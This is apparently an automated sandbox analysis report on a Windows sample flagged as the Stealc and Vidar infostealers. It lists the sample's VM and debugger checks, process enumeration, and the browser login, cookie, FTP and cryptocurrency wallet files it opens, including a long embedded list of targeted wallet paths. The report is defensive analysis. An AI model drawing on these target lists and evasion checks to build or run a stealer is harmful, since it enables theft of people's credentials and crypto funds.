Source: file.exe, 00000000.00000002.2570744896.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(x
Source: file.exe, 00000000.00000002.2570744896.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Web Data.9.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Web Data.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-65621
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-65624
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-65602
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-65617
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-65605
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-66780
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-65445
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-65646

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0079B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0079B058

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00784610 VirtualProtect ?,00000004,00000100,00000000

0_2_00784610

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0078A090 LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,

0_2_0078A090

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00799AA0 mov eax, dword ptr fs:[00000030h]

0_2_00799AA0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00797820 GetProcessHeap,HeapAlloc,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,

0_2_00797820

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0079B058
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079B63A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0079B63A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079D21A SetUnhandledExceptionFilter,	0_2_0079D21A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C78AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: Process Memory Space: file.exe PID: 3572, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007998E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,		0_2_007998E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00799790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00799790

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7D4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C7D4760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C6B1C30

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C78AE71 cpuid

0_2_6C78AE71

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00797D20

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00798CF0 GetSystemTime,

0_2_00798CF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007979E0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_007979E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00797BC0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_00797BC0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6D8390 NSS_GetVersion,

0_2_6C6D8390

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.2.file.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2570744896.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2115825361.0000000000781000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3572, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3572, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum-LTC\wallets\\.
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\ElectronCash\wallets\\.
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets\.\*
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\window-state.json@
Source: file.exe, 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.conf.json
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\window-state.json@
Source: file.exe, 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.json
Source: file.exe, 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\window-state.json@
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: file.exe, 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.json
Source: file.exe, 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum-LTC\wallets\\.
Source: file.exe, 00000000.00000002.2570744896.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
